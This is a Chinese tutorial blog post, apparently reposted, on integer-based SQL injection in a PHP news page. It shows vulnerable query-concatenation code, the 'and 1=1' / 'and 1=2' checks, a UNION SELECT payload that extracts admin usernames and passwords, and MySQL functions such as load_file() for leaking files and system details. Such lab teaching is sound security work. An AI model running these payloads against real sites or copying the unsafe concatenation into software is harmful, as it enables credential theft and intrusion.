zoukankan      html  css  js  c++  java
  • PHP漏洞之【整型数字型SQL注入】

    0x01    什么是SQL注入

    SQL是一种注入攻击,通过前端带入后端数据库进行恶意的SQL语句查询。

     0x02    SQL整型注入原理

     SQL注入一般发生在动态网站URL地址里,当然也会发生在其它地发,如登录框等等也会存在注入,只要是和数据库打交道的地方都有可能存在。

    如这里http://192.168.30.22/intsql/shownews.php?id=5  我们打开shownews.php源文件看下代码

    if(isset($_GET['id']))
    {
    $id=$_GET["id"];
    }
    else
    {
    echo "<script language='javascript'>"; 
    echo "alert('ÇëÊäÈëÕýÈ·ID£¡');";
    echo " location='index.php';"; 
    echo "</script>";
    exit;    
    }
     $sql4="select * from news where id=$id";
     $result4=mysql_query($sql4);
     if($nums=mysql_num_rows($result4))
     {
     $rs4=mysql_fetch_array($result4);
     $title=$rs4["title"];
     $content=$rs4["content"];
     $hits=$rs4["hits"];
     $fbsj=date("Y-m-d",strtotime($rs4['fbsj']));
     $sql="update news set hits=hits+1 where id=$id";
     mysql_query($sql);
     }

    首先定义一个变量id,$id=$_GET["id"];获取GET的值,

    然后定义一个sql4变量来存放sql查询语句,并和刚才变量id进行拼接组合,

    $sql4="select * from news where id=$id";

    最后带入数据库进行查询   $result4=mysql_query($sql4);

    由此可以确定此文件存在SQL注入漏洞,id是数字型

     0x03    验证漏洞

    现在我们在地址栏id=5 后面输入 and 1=1  页面返回了正常

    那么代码里的sql语句拼接起来应该就是$sql4="select * from news where id=5 and 1=1";  //整条语句带入数据库进行查询 SQL语句返回为真即true

    现在我们在地址栏id=5 后面输入 and 1=2  页面返回了错误

    那么代码里的sql语句拼接起来应该就是$sql4="select * from news where id=5 and 1=2";  //整条语句带入数据库进行查询 SQL语句返回为假即false

    依次类推,如果看不懂的话,可以去补一点sql基本语法知识。

     最后在查询出管理员的后台账号和密码 and 1=2 UNION SELECT 1,username,password,4,5,6,7 from gly

    可以看到SQL语句拼接起来变成一条完整的select * from news where id=5 and 1=2 UNION SELECT 1,username,password,4,5,6,7 from gly

    mysql数据库一些常用函数:  我们也可以加到查询语句里进行爆出对应的信息

    1:system_user() 系统用户名
    2:user() 用户名
    3:current_user 当前用户名
    4:session_user()连接数据库的用户名
    5:database() 数据库名
    6:version() MYSQL数据库版本 @@version
    7:load_file() MYSQL读取本地文件的函数
    8:@@datadir 读取数据库路径
    9:@@basedir MYSQL 安装路径
    10:@@version_compile_os 操作系统

  • 相关阅读:
    Canvas 与 Image 相互转换
    oracle随笔
    QueryTask,FindTask,IdentifyTask三种查询的区别
    mysql命令
    mysql
    Delphi声明Record变量后直接初始化
    delphi实现映射和断开网络驱动器
    delphi的ArrayList
    Delphi判断一个文件是不是JPG图片
    Delphi 停靠技术的应用3(两个窗体停靠成PageControl样式, 分页停靠)
  • 原文地址:https://www.cnblogs.com/hkleak/p/13457928.html
Copyright © 2011-2022 走看看